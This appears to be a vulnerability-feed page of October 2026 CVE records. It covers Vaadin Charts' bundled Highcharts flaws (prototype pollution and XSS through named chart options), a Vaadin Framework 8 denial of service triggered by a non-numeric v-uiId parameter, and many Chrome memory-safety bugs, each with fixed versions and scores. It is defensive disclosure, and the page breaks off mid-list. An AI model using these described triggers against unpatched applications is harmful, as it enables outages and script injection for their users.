Vaadin Charts renders charts with the Highcharts library and pins an exact version of it, 9.2.2 in Vaadin 22 to 24 and 12.2.0 in Vaadin 25, so an application cannot remove these vulnerabilities by upgrading Highcharts on its own. Highsoft disclosed several vulnerabilities in that library that are reachable through the chart configuration: writes to Object.prototype through dotted series.keys paths, and cross-site scripting through credits.href, through breadcrumbs.style, through HTML text parsing while printing, and through xlink:href attributes in exported charts. An application is affected where data an attacker controls reaches the chart configuration, for example through additionalOptions, through updateConfiguration(), or through text options that accept markup. The fixed Vaadin versions apply Highsoft's recommended workarounds to the bundled Highcharts when it loads, and keep the same Highcharts version.


Users of affected versions should apply the following mitigation or upgrade. Releases that have fixed this issue include:

Product version
Vaadin 22.0.0 - 23.6.15
Vaadin 24.0.0 - 24.4.23
Vaadin 24.5.0 - 24.7.15
Vaadin 24.8.0 - 24.9.22
Vaadin 24.10.0 - 24.10.10
Vaadin 25.0.0 - 25.2.9
Vaadin 25.3.0

Mitigation
Upgrade to 23.6.16
Upgrade to 24.4.24
Upgrade to 24.7.16
Upgrade to 24.9.23
Upgrade to 24.10.11
Upgrade to 25.2.10
Upgrade to 25.3.1 or newer

Please note that Vaadin versions 10-13 and 15-22 are no longer supported and you should update either to the latest 23, 24, 25 version.

Artifacts
Maven coordinates / Vulnerable versions / Fixed version
com.vaadin:vaadin / 22.0.0 - 23.6.15 / >=23.6.16
com.vaadin:vaadin / 24.0.0 - 24.4.23 / >=24.4.24
com.vaadin:vaadin / 24.5.0 - 24.7.15 / >=24.7.16
com.vaadin:vaadin / 24.8.0 - 24.9.22 / >=24.9.23
com.vaadin:vaadin / 24.10.0 - 24.10.10 / >=24.10.11
com.vaadin:vaadin / 25.0.0 - 25.0.13 / >=25.2.10
com.vaadin:vaadin / 25.1.0 - 25.1.13 / >=25.2.10
com.vaadin:vaadin / 25.2.0 - 25.2.9 / >=25.2.10
com.vaadin:vaadin / 25.3.0 / >=25.3.1
com.vaadin:vaadin-charts-flow / 22.0.0 - 23.6.15 / >=23.6.16
com.vaadin:vaadin-charts-flow / 24.0.0 - 24.4.22 / >=24.4.24
com.vaadin:vaadin-charts-flow / 24.5.0 - 24.7.14 / >=24.7.15
com.vaadin:vaadin-charts-flow / 24.8.0 - 24.9.22 / >=24.9.23
com.vaadin:vaadin-charts-flow / 24.10.0 - 24.10.10 / >=24.10.11
com.vaadin:vaadin-charts-flow / 25.0.0 - 25.0.13 / >=25.2.10
com.vaadin:vaadin-charts-flow / 25.1.0 - 25.1.13 / >=25.2.10
com.vaadin:vaadin-charts-flow / 25.2.0 - 25.2.9 / >=25.2.10
com.vaadin:vaadin-charts-flow / 25.3.0 / >=25.3.1
com.vaadin:vaadin-charts-flow-svg-generator / 21.0.0 - 23.6.15 / >=23.6.16
com.vaadin:vaadin-charts-flow-svg-generator / 24.0.0 - 24.4.22 / >=24.4.24
com.vaadin:vaadin-charts-flow-svg-generator / 24.5.0 - 24.7.14 / >=24.7.15
com.vaadin:vaadin-charts-flow-svg-generator / 24.8.0 - 24.9.22 / >=24.9.23
com.vaadin:vaadin-charts-flow-svg-generator / 24.10.0 - 24.10.10 / >=24.10.11
com.vaadin:vaadin-charts-flow-svg-generator / 25.0.0 - 25.0.13 / >=25.2.10
com.vaadin:vaadin-charts-flow-svg-generator / 25.1.0 - 25.1.13 / >=25.2.10
com.vaadin:vaadin-charts-flow-svg-generator / 25.2.0 - 25.2.9 / >=25.2.10
com.vaadin:vaadin-charts-flow-svg-generator / 25.3.0 / >=25.3.1

npm packages
npm package / Vulnerable versions / Fixed version
@vaadin/charts / 22.0.0 - 23.6.6 / >=23.6.7
@vaadin/charts / 24.0.0 - 24.4.18 / >=24.4.19
@vaadin/charts / 24.5.0 - 24.7.12 / >=24.7.13
@vaadin/charts / 24.8.0 - 24.9.18 / >=24.9.19
@vaadin/charts / 24.10.0 - 24.10.6 / >=24.10.7
@vaadin/charts / 25.0.0 - 25.0.13 / >=25.2.14
@vaadin/charts / 25.1.0 - 25.1.14 / >=25.2.14
@vaadin/charts / 25.2.0 - 25.2.13 / >=25.2.14
@vaadin/charts / 25.3.0 / >=25.3.1

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### VaadinService.requestEnd() in Vaadin Framework 8 locks the session and then reads the v-uiId request parameter outside the block that releases the lock.
https://kevwire.com/record/CVE-2026-110803
VaadinService.requestEnd() in Vaadin Framework 8 locks the session and then reads the v-uiId request parameter outside the block that releases the lock. (Oct 21, 2026).
VaadinService.requestEnd() in Vaadin Framework 8 locks the session and then reads the v-uiId request parameter outside the block that releases the lock. A request carrying a non-numeric v-uiId makes Integer.parseInt throw while the session lock is held, so the lock is never released and the container thread returns to its pool still owning it. Every later request to that session then blocks forever in VaadinService.lockSession(), and repeating the request exhausts the thread pool and takes the application down. No authentication is required: a session cookie, which any client obtains with a single request, is enough. Vaadin 10 and later are not affected, because Flow releases the lock in a finally block and does not read that parameter there, and Vaadin Framework 7 is not affected either.


Users of affected versions should apply the following mitigation or upgrade. Releases that have fixed this issue include:

Product version
Vaadin Framework 8.16.0 - 8.32.1

Mitigation
Upgrade to 8.32.2

Vaadin Framework 7 and Vaadin 10 and later do not carry this behaviour and need no upgrade for this issue.

Artifacts
Maven coordinates / Vulnerable versions / Fixed version
com.vaadin:vaadin-server / 8.16.0 - 8.32.1 / >=8.32.2
com.vaadin:vaadin-server-mpr-jakarta / 8.18.0 - 8.32.1 / >=8.32.2
CVSS 8.7 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110803).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110803&date=2026-10-25).
Sources:
NVD CVE-2026-110803: https://nvd.nist.gov/vuln/detail/CVE-2026-110803
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110803&date=2026-10-25
VaadinService.requestEnd() in Vaadin Framework 8 locks the session and then reads the v-uiId request parameter outside the block that releases the lock. A request carrying a non-numeric v-uiId makes Integer.parseInt throw while the session lock is held, so the lock is never released and the container thread returns to its pool still owning it. Every later request to that session then blocks forever in VaadinService.lockSession(), and repeating the request exhausts the thread pool and takes the application down. No authentication is required: a session cookie, which any client obtains with a single request, is enough. Vaadin 10 and later are not affected, because Flow releases the lock in a finally block and does not read that parameter there, and Vaadin Framework 7 is not affected either.


Users of affected versions should apply the following mitigation or upgrade. Releases that have fixed this issue include:

Product version
Vaadin Framework 8.16.0 - 8.32.1

Mitigation
Upgrade to 8.32.2

Vaadin Framework 7 and Vaadin 10 and later do not carry this behaviour and need no upgrade for this issue.

Artifacts
Maven coordinates / Vulnerable versions / Fixed version
com.vaadin:vaadin-server / 8.16.0 - 8.32.1 / >=8.32.2
com.vaadin:vaadin-server-mpr-jakarta / 8.18.0 - 8.32.1 / >=8.32.2

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Compositing in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113081
Use after free in Compositing in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Use after free in Compositing in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113081).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113081&date=2026-10-25).
Sources:
NVD CVE-2026-113081: https://nvd.nist.gov/vuln/detail/CVE-2026-113081
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113081&date=2026-10-25
Use after free in Compositing in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Media in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113085
Use after free in Media in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Use after free in Media in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113085).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113085&date=2026-10-25).
Sources:
NVD CVE-2026-113085: https://nvd.nist.gov/vuln/detail/CVE-2026-113085
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113085&date=2026-10-25
Use after free in Media in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper input validation in Input in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML...
https://kevwire.com/record/CVE-2026-113086
Improper input validation in Input in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML... (Oct 20, 2026).
Improper input validation in Input in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113086).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113086&date=2026-10-25).
Sources:
NVD CVE-2026-113086: https://nvd.nist.gov/vuln/detail/CVE-2026-113086
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113086&date=2026-10-25
Improper input validation in Input in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Actor in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113087
Use after free in Actor in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Use after free in Actor in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113087).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113087&date=2026-10-25).
Sources:
NVD CVE-2026-113087: https://nvd.nist.gov/vuln/detail/CVE-2026-113087
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113087&date=2026-10-25
Use after free in Actor in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory corruption in Audio in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113100
Memory corruption in Audio in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Memory corruption in Audio in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113100).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113100&date=2026-10-25).
Sources:
NVD CVE-2026-113100: https://nvd.nist.gov/vuln/detail/CVE-2026-113100
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113100&date=2026-10-25
Memory corruption in Audio in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in SiteIsolation in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113101
Use after free in SiteIsolation in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Use after free in SiteIsolation in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113101).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113101&date=2026-10-25).
Sources:
NVD CVE-2026-113101: https://nvd.nist.gov/vuln/detail/CVE-2026-113101
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113101&date=2026-10-25
Use after free in SiteIsolation in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in WebProtect in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113103
Use after free in WebProtect in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Use after free in WebProtect in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113103).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113103&date=2026-10-25).
Sources:
NVD CVE-2026-113103: https://nvd.nist.gov/vuln/detail/CVE-2026-113103
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113103&date=2026-10-25
Use after free in WebProtect in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory corruption in Frames in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113104
Memory corruption in Frames in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Memory corruption in Frames in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113104).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113104&date=2026-10-25).
Sources:
NVD CVE-2026-113104: https://nvd.nist.gov/vuln/detail/CVE-2026-113104
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113104&date=2026-10-25
Memory corruption in Frames in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113105
Use after free in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Use after free in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113105).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113105&date=2026-10-25).
Sources:
NVD CVE-2026-113105: https://nvd.nist.gov/vuln/detail/CVE-2026-113105
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113105&date=2026-10-25
Use after free in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory corruption in Skia in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113106
Memory corruption in Skia in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Memory corruption in Skia in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113106).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113106&date=2026-10-25).
Sources:
NVD CVE-2026-113106: https://nvd.nist.gov/vuln/detail/CVE-2026-113106
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113106&date=2026-10-25
Memory corruption in Skia in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Script in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113108
Use after free in Script in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Use after free in Script in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113108).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113108&date=2026-10-25).
Sources:
NVD CVE-2026-113108: https://nvd.nist.gov/vuln/detail/CVE-2026-113108
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113108&date=2026-10-25
Use after free in Script in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory corruption in API in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113109
Memory corruption in API in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Memory corruption in API in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113109).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113109&date=2026-10-25).
Sources:
NVD CVE-2026-113109: https://nvd.nist.gov/vuln/detail/CVE-2026-113109
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113109&date=2026-10-25
Memory corruption in API in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory corruption in ShadowDOM in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113110
Memory corruption in ShadowDOM in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Memory corruption in ShadowDOM in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113110).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113110&date=2026-10-25).
Sources:
NVD CVE-2026-113110: https://nvd.nist.gov/vuln/detail/CVE-2026-113110
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113110&date=2026-10-25
Memory corruption in ShadowDOM in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Compositing in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113111
Use after free in Compositing in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Use after free in Compositing in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113111).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113111&date=2026-10-25).
Sources:
NVD CVE-2026-113111: https://nvd.nist.gov/vuln/detail/CVE-2026-113111
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113111&date=2026-10-25
Use after free in Compositing in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113112
